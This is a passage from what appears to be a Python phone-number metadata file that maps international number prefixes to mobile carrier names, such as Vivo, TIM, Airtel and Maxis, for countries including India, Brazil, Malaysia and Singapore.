'9177019':{'en': 'Tata Docomo'},
'559399153':{'en': 'Vivo'},
'559399152':{'en': 'Vivo'},
'559399151':{'en': 'Vivo'},
'557599983':{'en': 'Vivo'},
'559399157':{'en': 'Vivo'},
'557599985':{'en': 'Vivo'},
'559399155':{'en': 'Vivo'},
'559399154':{'en': 'Vivo'},
'557599988':{'en': 'Vivo'},
'559399159':{'en': 'Vivo'},
'559399158':{'en': 'Vivo'},
'917834':{'en': 'Idea'},
'917835':{'en': 'Idea'},
'917836':{'en': 'Idea'},
'917837':{'en': 'Vodafone'},
'5699480':{'en': 'Movistar'},
'59669619':{'en': 'Digicel'},
'5699481':{'en': 'Movistar'},
'9181378':{'en': 'Airtel'},
'555598123':{'en': 'TIM'},
'60147':{'en': 'Maxis'},
'60144':{'en': 'Tune Talk'},
'60145':{'en': 'Celcom'},
'60142':{'en': 'Maxis'},
'60143':{'en': 'DiGi'},
'555598125':{'en': 'TIM'},
'555598124':{'en': 'TIM'},
'555598129':{'en': 'TIM'},
'555598128':{'en': 'TIM'},
'60148':{'en': 'Celcom'},
'60149':{'en': 'DiGi'},
'917567':{'en': 'Vodafone'},
'555499639':{'en': 'Vivo'},
'555499638':{'en': 'Vivo'},
'555499633':{'en': 'Vivo'},
'555499632':{'en': 'Vivo'},
'555499631':{'en': 'Vivo'},
'555499637':{'en': 'Vivo'},
'555499636':{'en': 'Vivo'},
'555499635':{'en': 'Vivo'},
'555499634':{'en': 'Vivo'},
'557199162':{'en': 'TIM'},
'557199163':{'en': 'TIM'},
'557199161':{'en': 'TIM'},
'557199166':{'en': 'TIM'},
'557199167':{'en': 'TIM'},
'557199164':{'en': 'TIM'},
'557199165':{'en': 'TIM'},
'62816':{'en': 'IM3'},
'62817':{'en': 'XL'},
'557199168':{'en': 'TIM'},
'557199169':{'en': 'TIM'},
'62812':{'en': 'Telkomsel'},
'62813':{'en': 'Telkomsel'},
'62811':{'en': 'Telkomsel'},
'556199952':{'en': 'Vivo'},
'556199953':{'en': 'Vivo'},
'556199951':{'en': 'Vivo'},
'556199956':{'en': 'Vivo'},
'556199957':{'en': 'Vivo'},
'556199954':{'en': 'Vivo'},
'556199955':{'en': 'Vivo'},
'556199958':{'en': 'Vivo'},
'556199959':{'en': 'Vivo'},
'601111':{'en': 'U Mobile'},
'9174630':{'en': 'Airtel'},
'6227198':{'en': 'Esia'},
'601112':{'en': 'Maxis'},
'601116':{'en': 'DiGi'},
'601119':{'en': 'Celcom'},
'6227193':{'en': 'Esia'},
'6227191':{'en': 'Esia'},
'6227196':{'en': 'Esia'},
'6227197':{'en': 'Esia'},
'6227194':{'en': 'Esia'},
'6227195':{'en': 'Esia'},
'556198577':{'en': 'Brasil Telecom GSM'},
'556198576':{'en': 'Brasil Telecom GSM'},
'556198574':{'en': 'Brasil Telecom GSM'},
'556198573':{'en': 'Brasil Telecom GSM'},
'556198572':{'en': 'Brasil Telecom GSM'},
'556198571':{'en': 'Brasil Telecom GSM'},
'556198579':{'en': 'Brasil Telecom GSM'},
'6142000':{'en': 'Rail Corporation NSW'},
'6142001':{'en': 'Rail Corporation NSW'},
'6142002':{'en': 'Dialogue Communications'},
'556398441':{'en': 'Brasil Telecom GSM'},
'556398443':{'en': 'Brasil Telecom GSM'},
'556398442':{'en': 'Brasil Telecom GSM'},
'918403':{'en': 'Vodafone'},
'557399915':{'en': 'TIM'},
'557399914':{'en': 'TIM'},
'557399911':{'en': 'TIM'},
'557399913':{'en': 'TIM'},
'557399912':{'en': 'TIM'},
'556299903':{'en': 'Vivo'},
'557399919':{'en': 'TIM'},
'9175381':{'en': 'Dishnet'},
'918404':{'en': 'Vodafone'},
'9180130':{'en': 'Dishnet'},
'918405':{'en': 'Vodafone'},
'658539':{'en': 'M1'},
'658538':{'en': 'StarHub'},
'55629964':{'en': 'Vivo'},
'55629965':{'en': 'Vivo'},
'55629962':{'en': 'Vivo'},
'55629963':{'en': 'Vivo'},
'55629960':{'en': 'Vivo'},
'55629961':{'en': 'Vivo'},
'555498142':{'en': 'TIM'},
'555498143':{'en': 'TIM'},
'555498416':{'en': 'Brasil Telecom GSM'},
'555498141':{'en': 'TIM'},
'555498146':{'en': 'TIM'},
'555498147':{'en': 'TIM'},
'555498144':{'en': 'TIM'},
'555498145':{'en': 'TIM'},
'555498148':{'en': 'TIM'},
'555498149':{'en': 'TIM'},
'555498418':{'en': 'Brasil Telecom GSM'},
'9176380':{'en': 'Airtel'},
'558599978':{'en': 'TIM'},
'558599979':{'en': 'TIM'},
'558599976':{'en': 'TIM'},
'558599977':{'en': 'TIM'},
'558599974':{'en': 'TIM'},
'558599975':{'en': 'TIM'},
'558599972':{'en': 'TIM'},
'558599973':{'en': 'TIM'},
'558599971':{'en': 'TIM'},
'917581':{'en': 'Vodafone'},
'917582':{'en': 'Vodafone'},
'917584':{'en': 'Airtel'},
'917585':{'en': 'Airtel'},
'917238':{'en': 'Idea'},
'917239':{'en': 'Idea'},
'917236':{'en': 'Idea'},
'917237':{'en': 'Idea'},
'917234':{'en': 'Vodafone'},
'917235':{'en': 'Vodafone'},
'917232':{'en': 'Vodafone'},
'917233':{'en': 'Vodafone'},
'917230':{'en': 'Vodafone'},
'917231':{'en': 'Vodafone'},
'58426':{'en': 'Movilnet'},
'9177810':{'en': 'Airtel'},
'62751978':{'en': 'Esia'},
'62421993':{'en': 'Esia'},
'918408':{'en': 'Vodafone'},
'556298191':{'en': 'TIM'},
'9181508':{'en': 'Idea'},
'556298192':{'en': 'TIM'},
'559899969':{'en': 'Oi'},
'559399103':{'en': 'Vivo'},
'559899963':{'en': 'Oi'},
'556298194':{'en': 'TIM'},
'559899961':{'en': 'Oi'},
'559899967':{'en': 'Oi'},
'559899966':{'en': 'Oi'},
'559899965':{'en': 'Oi'},
'559899964':{'en': 'Oi'},
'917058':{'en': 'Telewings'},
'917059':{'en': 'Dishnet'},
'556298196':{'en': 'TIM'},
'9174530':{'en': 'Telenor'},
'917052':{'en': 'Idea'},
'917053':{'en': 'Aircel'},
'917050':{'en': 'Telewings'},
'559399107':{'en': 'Vivo'},
'917056':{'en': 'Idea'},
'917057':{'en': 'Idea'},
'917054':{'en': 'Airtel'},
'917055':{'en': 'Idea'},
'917526':{'en': 'Idea'},
'917527':{'en': 'Idea'},
'917524':{'en': 'Airtel'},
'62218553':{'en': 'Esia'},
'62218555':{'en': 'Esia'},
'62218554':{'en': 'Esia'},
'62218557':{'en': 'Esia'},
'62218556':{'en': 'Esia'},
'62218559':{'en': 'Esia'},
'62218558':{'en': 'Esia'},
'917523':{'en': 'Airtel'},
'9174240':{'en': 'Dishnet'},
'917520':{'en': 'Reliance'},
'9176280':{'en': 'Hexacom'},
'55829933':{'en': 'Claro BR'},
'9176288':{'en': 'Hexacom'},
'9176289':{'en': 'Hexacom'},
'55829932':{'en': 'Claro BR'},
'6229299':{'en': 'Esia'},
'9172941':{'en': 'Hexacom'},
'9172940':{'en': 'Hexacom'},
'9172949':{'en': 'Hexacom'},
'9172948':{'en': 'Hexacom'},
'65924':{'en': 'StarHub'},
'65922':{'en': 'M1'},
'9176068':{'en': 'Airtel'},
'9176069':{'en': 'Airtel'},
'9180510':{'en': 'Vodafone'},
'9176060':{'en': 'Airtel'},
'62721971':{'en': 'Esia'},
'62721972':{'en': 'Esia'},
'62721973':{'en': 'Esia'},
'558799628':{'en': 'TIM'},
'558799629':{'en': 'TIM'},
'658484':{'en': 'M1'},
'558799624':{'en': 'TIM'},
'558799625':{'en': 'TIM'},
'558799626':{'en': 'TIM'},
'558799627':{'en': 'TIM'},
'558799621':{'en': 'TIM'},
'558799622':{'en': 'TIM'},
'558799623':{'en': 'TIM'},
'9174518':{'en': 'Telenor'},
'658480':{'en': 'M1'},
'556699629':{'en': 'Vivo'},
'556699628':{'en': 'Vivo'},
'556699621':{'en': 'Vivo'},
'556699623':{'en': 'Vivo'},
'556699622':{'en': 'Vivo'},
'556699625':{'en': 'Vivo'},
'556699624':{'en': 'Vivo'},
'556699627':{'en': 'Vivo'},
'556699626':{'en': 'Vivo'},
'6251199':{'en': 'Esia'},
'6251192':{'en': 'Esia'},
'6251191':{'en': 'Esia'},
'9181748':{'en': 'Airtel'},
'9176378':{'en': 'Airtel'},
'658328':{'en': 'StarHub'},
'658329':{'en': 'M1'},
'658324':{'en': 'M1'},
'658325':{'en': 'M1'},
'658326':{'en': 'M1'},
'658320':{'en': 'M1'},
'658321':{'en': 'StarHub'},
'658322':{'en': 'StarHub'},
'658323':{'en': 'M1'},
'9176379':{'en': 'Airtel'},
'9175710':{'en': 'Vodafone'},
'559899129':{'en': 'Vivo'},
'9175719':{'en': 'Vodafone'},
'9175718':{'en': 'Vodafone'},
'56942':{'en': 'Entel'},
'56941':{'en': 'Movistar'},
'9176530':{'en': 'CellOne'},
'5596989':{'en': 'Oi'},
'5596988':{'en': 'Oi'},
'5596987':{'en': 'Oi'},
'5596986':{'en': 'Oi'},
'5596985':{'en': 'Oi'},
'658188':{'en': 'M1'},
'658189':{'en': 'StarHub'},
'658180':{'en': 'StarHub'},
'658181':{'en': 'SingTel'},
'658182':{'en': 'SingTel'},
'658183':{'en': 'StarHub'},
'658184':{'en': 'StarHub'},
'658185':{'en': 'StarHub'},
'658186':{'en': 'StarHub'},
'658187':{'en': 'StarHub'},
'9177220':{'en': 'Idea'},
'9183848':{'en': 'Reliance Jio'},
'9180830':{'en': 'Dishnet'},
'557499135':{'en': 'TIM'},
'5585988':{'en': 'Oi'},
'557599980':{'en': 'Vivo'},
'558598210':{'en': 'Vivo'},
'558598211':{'en': 'Vivo'},
'558598212':{'en': 'Vivo'},
'558598213':{'en': 'Vivo'},
'558598214':{'en': 'Vivo'},
'558598215':{'en': 'Vivo'},
'558598216':{'en': 'Vivo'},
'558598217':{'en': 'Vivo'},
'67077':{'en': 'Timor Telecom'},
'9181560':{'en': 'Idea'},
'557599981':{'en': 'Vivo'},
'659279':{'en': 'M1'},
'659278':{'en': 'M1'},
'559998128':{'en': 'TIM'},
'9175360':{'en': 'Idea'},
'659271':{'en': 'StarHub'},
'659270':{'en': 'StarHub'},
'659273':{'en': 'M1'},
'659272':{'en': 'StarHub'},
'659275':{'en': 'M1'},
'659274':{'en': 'M1'},
'659277':{'en': 'M1'},
'659276':{'en': 'M1'},
'67381':{'en': 'B-Mobile'},
'918006':{'en': 'Vodafone'},
'67382':{'en': 'B-Mobile'},
'918000':{'en': 'Reliance'},
'918001':{'en': 'Vodafone'},
'67387':{'en': 'DSTCom'},
'67386':{'en': 'DSTCom'},
'67389':{'en': 'DSTCom'},
'67388':{'en': 'DSTCom'},
'918008':{'en': 'Airtel'},
'918009':{'en': 'Airtel'},
'559998123':{'en': 'TIM'},
'557199192':{'en': 'TIM'},
'559998121':{'en': 'TIM'},
'559898115':{'en': 'TIM'},
'559898114':{'en': 'TIM'},
'559898117':{'en': 'TIM'},
'559898116':{'en': 'TIM'},
'559898111':{'en': 'TIM'},
'9182473':{'en': 'Reliance Jio'},
'559898113':{'en': 'TIM'},
'559898112':{'en': 'TIM'},
'559998127':{'en': 'TIM'},
'559898119':{'en': 'TIM'},
'559898118':{'en': 'TIM'},
'9182478':{'en': 'Reliance Jio'},
'559998126':{'en': 'TIM'},
'9173710':{'en': 'Idea'},
'559998125':{'en': 'TIM'},
'569639':{'en': 'Movistar'},
'569638':{'en': u('VTR M\u00f3vil')},
'569637':{'en': u('VTR M\u00f3vil')},
'569636':{'en': u('VTR M\u00f3vil')},
'569635':{'en': u('VTR M\u00f3vil')},
'569634':{'en': u('VTR M\u00f3vil')},
'569633':{'en': 'Movistar'},
'569632':{'en': 'Movistar'},
'569631':{'en': 'Movistar'},
'569630':{'en': 'Movistar'},
'7707':{'en': 'Tele2', 'ru': 'Tele2'},
'7705':{'en': 'Beeline', 'ru': 'Beeline'},
'7702':{'en': 'Kcell/Activ', 'ru': 'Kcell/Activ'},
'7700':{'en': 'Altel', 'ru': u('\u0410\u041b\u0422\u0415\u041b')},
'7701':{'en': 'Kcell/Activ', 'ru': 'Kcell/Activ'},
'7708':{'en': 'Altel', 'ru': u('\u0410\u041b\u0422\u0415\u041b')},
'658736':{'en': 'SingTel'},
'658735':{'en': 'SingTel'},
'9172959':{'en': 'Hexacom'},
'658734':{'en': 'SingTel'},
'658733':{'en': 'M1'},
'9182658':{'en': 'Tata Docomo'},
'9182659':{'en': 'Tata Docomo'},
'658732':{'en': 'SingTel'},
'55929934':{'en': 'Vivo'},
'55929935':{'en': 'Vivo'},
'55929936':{'en': 'Vivo'},
'55929937':{'en': 'Vivo'},
'55929930':{'en': 'Vivo'},
'55929931':{'en': 'Vivo'},
'55929932':{'en': 'Vivo'},
'55929933':{'en': 'Vivo'},
'658730':{'en': 'SingTel'},
'55929938':{'en': 'Vivo'},
'918185':{'en': 'Idea'},
'55759981':{'en': 'Vivo'},
'55759982':{'en': 'Vivo'},
'55759983':{'en': 'Vivo'},
'63942':{'en': 'Sun'},
'62343924':{'en': 'Esia'},
'62343923':{'en': 'Esia'},
'62343922':{'en': 'Esia'},
'62343921':{'en': 'Esia'},
'62343920':{'en': 'Esia'},
'9176888':{'en': 'Idea'},
'918183':{'en': 'Sistema'},
'9176490':{'en': 'CellOne'},
'9176499':{'en': 'CellOne'},
'9176498':{'en': 'CellOne'},
'852568':{'en': '1O1O / One2Free', 'zh': '1O1O / One2Free', 'zh_Hant': '1O1O / One2Free'},
'852569':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852566':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'5586986':{'en': 'Oi'},
'852564':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852562':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852563':{'en': '3', 'zh': '3', 'zh_Hant': '3'},
'852560':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'559199943':{'en': 'Oi'},
'5696919':{'en': 'Entel'},
'5696918':{'en': 'Entel'},
'9177018':{'en': 'Tata Docomo'},
'5696910':{'en': u('Sociedad Comercial y de Ingenier\u00eda Swedcom')},
'559199941':{'en': 'Oi'},
'5696915':{'en': 'Entel'},
'5696917':{'en': 'Entel'},
'5696916':{'en': 'Entel'},
'861703':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861705':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'861706':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'917852':{'en': 'Reliance'},
'917853':{'en': 'Reliance'},
'917850':{'en': 'Reliance'},
'917851':{'en': 'Reliance'},
'917856':{'en': 'Reliance'},
'917857':{'en': 'Reliance'},
'917854':{'en': 'Reliance'},
'917855':{'en': 'Reliance'},
'917858':{'en': 'Reliance'},
'917859':{'en': 'Reliance'},
'9173708':{'en': 'Idea'},
'9173709':{'en': 'Idea'},
'62294914':{'en': 'Esia'},
'9174380':{'en': 'Vodafone'},
'558699951':{'en': 'TIM'},
'558699950':{'en': 'TIM'},
'9174389':{'en': 'Vodafone'},
'9174388':{'en': 'Vodafone'},
'5585981':{'en': 'Vivo'},
'9050':{'en': 'Turk Telekom'},
'62294912':{'en': 'Esia'},
'6275183':{'en': 'Esia'},
'6275188':{'en': 'Esia'},
'601139':{'en': 'U Mobile'},
'601138':{'en': 'Ceres'},
'556198519':{'en': 'Brasil Telecom GSM'},
'556198518':{'en': 'Brasil Telecom GSM'},
'601133':{'en': 'DiGi'},
'601132':{'en': 'Altel'},
'601131':{'en': 'DiGi'},
'601130':{'en': 'YTL'},
'556198511':{'en': 'Brasil Telecom GSM'},
'601136':{'en': 'DiGi'},
'601135':{'en': 'Tune Talk'},
'556198512':{'en': 'Brasil Telecom GSM'},
'9178169':{'en': 'Reliance'},
'9181358':{'en': 'Airtel'},
'9178168':{'en': 'Reliance'},
'556199608':{'en': 'Vivo'},
'556199609':{'en': 'Vivo'},
'556199602':{'en': 'Vivo'},
'556199603':{'en': 'Vivo'},
'556199601':{'en': 'Vivo'},
'556199606':{'en': 'Vivo'},
'556199607':{'en': 'Vivo'},
'556199604':{'en': 'Vivo'},
'556199605':{'en': 'Vivo'},
'559699158':{'en': 'Vivo'},
'591716':{'en': 'Entel'},
'557199148':{'en': 'TIM'},
'557199149':{'en': 'TIM'},
'9181530':{'en': 'Idea'},
'62831':{'en': 'AXIS'},
'62832':{'en': 'AXIS'},
'62833':{'en': 'AXIS'},
'557199141':{'en': 'TIM'},
'557199142':{'en': 'TIM'},
'557199143':{'en': 'TIM'},
'557199144':{'en': 'TIM'},
'557199145':{'en': 'TIM'},
'557199146':{'en': 'TIM'},
'557199147':{'en': 'TIM'},
'9184100':{'en': 'Dishnet'},
'658513':{'en': 'StarHub'},
'658512':{'en': 'StarHub'},
'658511':{'en': 'SingTel'},
'658510':{'en': 'SingTel'},
'658514':{'en': 'StarHub'},
'658519':{'en': 'StarHub'},
'658518':{'en': 'SingTel'},
'9175939':{'en': 'Vodafone'},
'559399199':{'en': 'Vivo'},
'9175938':{'en': 'Vodafone'},
'559399198':{'en': 'Vivo'},
'591719':{'en': 'Entel'},
'591718':{'en': 'Entel'},
'918093':{'en': 'Tata Docomo'},
'559899189':{'en': 'Vivo'},
'559899188':{'en': 'Vivo'},
'558599956':{'en': 'TIM'},
'556298104':{'en': 'TIM'},
'558599951':{'en': 'TIM'},
'558599952':{'en': 'TIM'},
'558599953':{'en': 'TIM'},
'559899181':{'en': 'Vivo'},
'556298103':{'en': 'TIM'},
'559899183':{'en': 'Vivo'},
'559899182':{'en': 'Vivo'},
'559899185':{'en': 'Vivo'},
'559899184':{'en': 'Vivo'},
'559899187':{'en': 'Vivo'},
'559899186':{'en': 'Vivo'},
'917218':{'en': 'Idea'},
'917219':{'en': 'Airtel'},
'559399191':{'en': 'Vivo'},
'918236':{'en': 'Reliance'},
'917210':{'en': 'Aircel'},
'55539916':{'en': 'Claro BR'},
'55539915':{'en': 'Claro BR'},
'55539914':{'en': 'Claro BR'},
'55539913':{'en': 'Claro BR'},
'55539912':{'en': 'Claro BR'},
'55539911':{'en': 'Claro BR'},
'55539910':{'en': 'Claro BR'},
'559598112':{'en': 'TIM'},
'559598113':{'en': 'TIM'},
'556599653':{'en': 'Vivo'},
'559598111':{'en': 'TIM'},
'559598116':{'en': 'TIM'},
'559598117':{'en': 'TIM'},
'559598114':{'en': 'TIM'},
'559598115':{'en': 'TIM'},
'556599659':{'en': 'Vivo'},
'556599658':{'en': 'Vivo'},
'559598118':{'en': 'TIM'},
'559598119':{'en': 'TIM'},
'9181828':{'en': 'Dishnet'},
'9181829':{'en': 'Sistema'},
'9175700':{'en': 'Vodafone'},
'55969840':{'en': 'Claro BR'},
'559899981':{'en': 'Oi'},
'917075':{'en': 'Telewings'},
'559899983':{'en': 'Oi'},
'559899982':{'en': 'Oi'},
'559899985':{'en': 'Oi'},
'559899984':{'en': 'Oi'},
'62283922':{'en': 'Esia'},
'62283923':{'en': 'Esia'},
'559899988':{'en': 'Oi'},
'917078':{'en': 'Telewings'},
'917079':{'en': 'Idea'},
'852534':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'557599139':{'en': 'TIM'},
'557599138':{'en': 'TIM'},
'557599131':{'en': 'TIM'},
'557599133':{'en': 'TIM'},
'557599132':{'en': 'TIM'},
'557599135':{'en': 'TIM'},
'557599134':{'en': 'TIM'},
'557599137':{'en': 'TIM'},
'557599136':{'en': 'TIM'},
'9178874':{'en': 'Idea'},
'5699587':{'en': 'Claro'},
'5699586':{'en': 'Claro'},
'5699585':{'en': 'Claro'},
'5699584':{'en': 'Movistar'},
'5699583':{'en': 'Movistar'},
'5699582':{'en': 'Movistar'},
'5699581':{'en': 'Movistar'},
'5699580':{'en': 'Movistar'},
'556598428':{'en': 'Brasil Telecom GSM'},
'5699589':{'en': 'Claro'},
'5699588':{'en': 'Claro'},
'9177578':{'en': 'Airtel'},
'9174879':{'en': 'Airtel'},
'9176268':{'en': 'CellOne'},
'9176269':{'en': 'CellOne'},
'558899959':{'en': 'TIM'},
'558899958':{'en': 'TIM'},
'558899957':{'en': 'TIM'},
'558899956':{'en': 'TIM'},
'558899955':{'en': 'TIM'},
'558899954':{'en': 'TIM'},
'558899953':{'en': 'TIM'},
'558899952':{'en': 'TIM'},
'558899951':{'en': 'TIM'},
'9174878':{'en': 'Airtel'},
'6225141':{'en': 'Esia'},
'6225140':{'en': 'Esia'},
'9172920':{'en': 'Vodafone'},
'559398125':{'en': 'TIM'},
'559398124':{'en': 'TIM'},
'559398121':{'en': 'TIM'},
'559398123':{'en': 'TIM'},
'559398122':{'en': 'TIM'},
'9173759':{'en': 'Idea'},
'5939588':{'en': 'Movistar'},
'5939589':{'en': 'Movistar'},
'5939586':{'en': 'Movistar'},
'5939587':{'en': 'Movistar'},
'557799119':{'en': 'TIM'},
'557799118':{'en': 'TIM'},
'556299991':{'en': 'Vivo'},
'556998458':{'en': 'Brasil Telecom GSM'},
'556998459':{'en': 'Brasil Telecom GSM'},
'556299995':{'en': 'Vivo'},
'556299994':{'en': 'Vivo'},
'556998454':{'en': 'Brasil Telecom GSM'},
'556998455':{'en': 'Brasil Telecom GSM'},
'556998456':{'en': 'Brasil Telecom GSM'},
'556998457':{'en': 'Brasil Telecom GSM'},
'557799115':{'en': 'TIM'},
'556998451':{'en': 'Brasil Telecom GSM'},
'556998452':{'en': 'Brasil Telecom GSM'},
'556998453':{'en': 'Brasil Telecom GSM'},
'556798427':{'en': 'Brasil Telecom GSM'},
'556699609':{'en': 'Vivo'},
'556699608':{'en': 'Vivo'},
'556699607':{'en': 'Vivo'},
'556699606':{'en': 'Vivo'},
'556699605':{'en': 'Vivo'},
'556699604':{'en': 'Vivo'},
'556699603':{'en': 'Vivo'},
'556798137':{'en': 'TIM'},
'556699601':{'en': 'Vivo'},
'556798424':{'en': 'Brasil Telecom GSM'},
'9175918':{'en': 'Idea'},
'556798423':{'en': 'Brasil Telecom GSM'},
'62218955':{'en': 'Esia'},
'62218954':{'en': 'Esia'},
'62218957':{'en': 'Esia'},
'62218956':{'en': 'Esia'},
'556798421':{'en': 'Brasil Telecom GSM'},
'9181568':{'en': 'Idea'},
'62218959':{'en': 'Esia'},
'62218958':{'en': 'Esia'},
'55639997':{'en': 'Vivo'},
'55639998':{'en': 'Vivo'},
'9177600':{'en': 'Airtel'},
'5696768':{'en': 'Entel'},
'5696769':{'en': 'Entel'},
'5696766':{'en': 'Entel'},
'5696767':{'en': 'Entel'},
'5696764':{'en': 'Cibeles Telecom'},
'5696765':{'en': 'Entel'},
'5696762':{'en': 'Telsur'},
'5696760':{'en': 'Telsur'},
'5696761':{'en': 'Telsur'},
'8536881':{'en': 'CTM'},
'9176558':{'en': 'CellOne'},
'9176559':{'en': 'CellOne'},
'9180810':{'en': 'Reliance'},
'601094':{'en': 'DiGi'},
'601095':{'en': 'DiGi'},
'601096':{'en': 'DiGi'},
'601097':{'en': 'DiGi'},
'601090':{'en': 'DiGi'},
'601091':{'en': 'DiGi'},
'601092':{'en': 'DiGi'},
'601093':{'en': 'DiGi'},
'918147':{'en': 'Tata Docomo'},
'601098':{'en': 'DiGi'},
'62199':{'en': 'Esia'},
'559599981':{'en': 'Oi'},
'559998138':{'en': 'TIM'},
'9183830':{'en': 'Reliance Jio'},
'55919843':{'en': 'Claro BR'},
'55919842':{'en': 'Claro BR'},
'55919841':{'en': 'Claro BR'},
'55919840':{'en': 'Claro BR'},
'55919847':{'en': 'Claro BR'},
'55919846':{'en': 'Claro BR'},
'55919845':{'en': 'Claro BR'},
'55919844':{'en': 'Claro BR'},
'6221411':{'en': 'Esia'},
'6221410':{'en': 'Esia'},
'6011270':{'en': 'U Mobile'},
'6011271':{'en': 'U Mobile'},
'6011272':{'en': 'U Mobile'},
'6011273':{'en': 'U Mobile'},
'6011274':{'en': 'U Mobile'},
'6011275':{'en': 'Maxis'},
'6011276':{'en': 'Maxis'},
'6011277':{'en': 'Maxis'},
'6011278':{'en': 'Maxis'},
'6011279':{'en': 'Maxis'},
'917681':{'en': 'Airtel'},
'917680':{'en': 'Airtel'},
'917687':{'en': 'Dishnet'},
'557499115':{'en': 'TIM'},
'557499116':{'en': 'TIM'},
'917684':{'en': 'Airtel'},
'9176358':{'en': 'Airtel'},
'6221417':{'en': 'Esia'},
'91798':{'en': 'Reliance Jio'},
'569659':{'en': 'Entel'},
'569658':{'en': 'Entel'},
'569651':{'en': 'Entel'},
'569650':{'en': 'Entel'},
'569653':{'en': 'Claro'},
'569652':{'en': 'Claro'},
'569655':{'en': 'Claro'},
'569654':{'en': 'Claro'},
'569657':{'en': 'Claro'},
'569656':{'en': 'Claro'},
'658706':{'en': 'SingTel'},
'658707':{'en': 'SingTel'},
'658704':{'en': 'SingTel'},
'658705':{'en': 'SingTel'},
'658702':{'en': 'SingTel'},
'658703':{'en': 'SingTel'},
'658700':{'en': 'StarHub'},
'658701':{'en': 'SingTel'},
'658708':{'en': 'SingTel'},
'658709':{'en': 'SingTel'},
'559199641':{'en': 'Oi'},
'559199642':{'en': 'Oi'},
'9176550':{'en': 'CellOne'},
'556499699':{'en': 'Vivo'},
'556499695':{'en': 'Vivo'},
'65830':{'en': 'SingTel'},
'55869950':{'en': 'Claro BR'},
'917702':{'en': 'Airtel'},
'5588992':{'en': 'Claro BR'},
'559898139':{'en': 'TIM'},
'559898138':{'en': 'TIM'},
'659115':{'en': 'SingTel'},
'559898133':{'en': 'TIM'},
'559898132':{'en': 'TIM'},
'559898131':{'en': 'TIM'},
'559898137':{'en': 'TIM'},
'559898136':{'en': 'TIM'},
'559898135':{'en': 'TIM'},
'559898134':{'en': 'TIM'},
'852548':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'852549':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'559799168':{'en': 'Vivo'},
'559799169':{'en': 'Vivo'},
'9181220':{'en': 'Tata Docomo'},
'559799162':{'en': 'Vivo'},
'559799163':{'en': 'Vivo'},
'852542':{'en': 'China Mobile', 'zh': u('\u4e2d\u56fd\u79fb\u52a8'), 'zh_Hant': u('\u4e2d\u570b\u79fb\u52d5')},
'559799161':{'en': 'Vivo'},
'559799166':{'en': 'Vivo'},
'559799167':{'en': 'Vivo'},
'559799164':{'en': 'Vivo'},
'559799165':{'en': 'Vivo'},
'9177038':{'en': 'Tata Docomo'},
'9177039':{'en': 'Tata Docomo'},
'559498409':{'en': 'Claro BR'},
'559498408':{'en': 'Claro BR'},
'559498407':{'en': 'Claro BR'},
'559498406':{'en': 'Claro BR'},
'559498405':{'en': 'Claro BR'},
'559498404':{'en': 'Claro BR'},
'559498403':{'en': 'Claro BR'},
'559498402':{'en': 'Claro BR'},
'559498401':{'en': 'Claro BR'},
'62358996':{'en': 'Esia'},
'62358997':{'en': 'Esia'},
'62358995':{'en': 'Esia'},
'62358998':{'en': 'Esia'},
'62358999':{'en': 'Esia'},
'556798134':{'en': 'TIM'},
'55649997':{'en': 'Vivo'},
'55649998':{'en': 'Vivo'},
'917878':{'en': 'Reliance'},
'917879':{'en': 'Reliance'},
'917874':{'en': 'Vodafone'},
'917875':{'en': 'Vodafone'},
'917876':{'en': 'Reliance'},
'917877':{'en': 'Reliance'},
'917870':{'en': 'Telewings'},
'917871':{'en': 'Idea'},
'917872':{'en': 'Vodafone'},
'917873':{'en': 'Vodafone'},
'601876':{'en': 'U Mobile'},
'601877':{'en': 'TM Homeline'},
'601870':{'en': 'YTL'},
'601871':{'en': 'YTL'},
'601878':{'en': 'U Mobile'},
'62262925':{'en': 'Esia'},
'62262924':{'en': 'Esia'},
'62262927':{'en': 'Esia'},
'62262926':{'en': 'Esia'},
'62262921':{'en': 'Esia'},
'62262920':{'en': 'Esia'},
'62262923':{'en': 'Esia'},
'62262922':{'en': 'Esia'},
'558299621':{'en': 'TIM'},
'558799988':{'en': 'TIM'},
'558699979':{'en': 'TIM'},
'558699978':{'en': 'TIM'},
'60102':{'en': 'DiGi'},
'558699972':{'en': 'TIM'},
'558699971':{'en': 'TIM'},
'558699977':{'en': 'TIM'},
'558699976':{'en': 'TIM'},
'558699975':{'en': 'TIM'},
'558699974':{'en': 'TIM'},
'9178811':{'en': 'Airtel'},
'5917342':{'en': 'Entel'},
'5993181':{'en': 'Eutel'},
'5993184':{'en': 'Eutel'},
'5993185':{'en': 'Eutel'},
'5993186':{'en': 'Eutel'},
'5993187':{'en': 'Eutel'},
'5993188':{'en': 'Eutel'},
'6223391':{'en': 'Esia'},
'5917343':{'en': 'Entel'},
'853668':{'en': 'CTM'},
'556199918':{'en': 'Vivo'},
'556199919':{'en': 'Vivo'},
'556199916':{'en': 'Vivo'},
'556199917':{'en': 'Vivo'},
'556199914':{'en': 'Vivo'},
'556199915':{'en': 'Vivo'},
'556199912':{'en': 'Vivo'},
'556199913':{'en': 'Vivo'},
'556199911':{'en': 'Vivo'},
'9174670':{'en': 'Idea'},
'9174659':{'en': 'Idea'},
'9174679':{'en': 'Dishnet'},
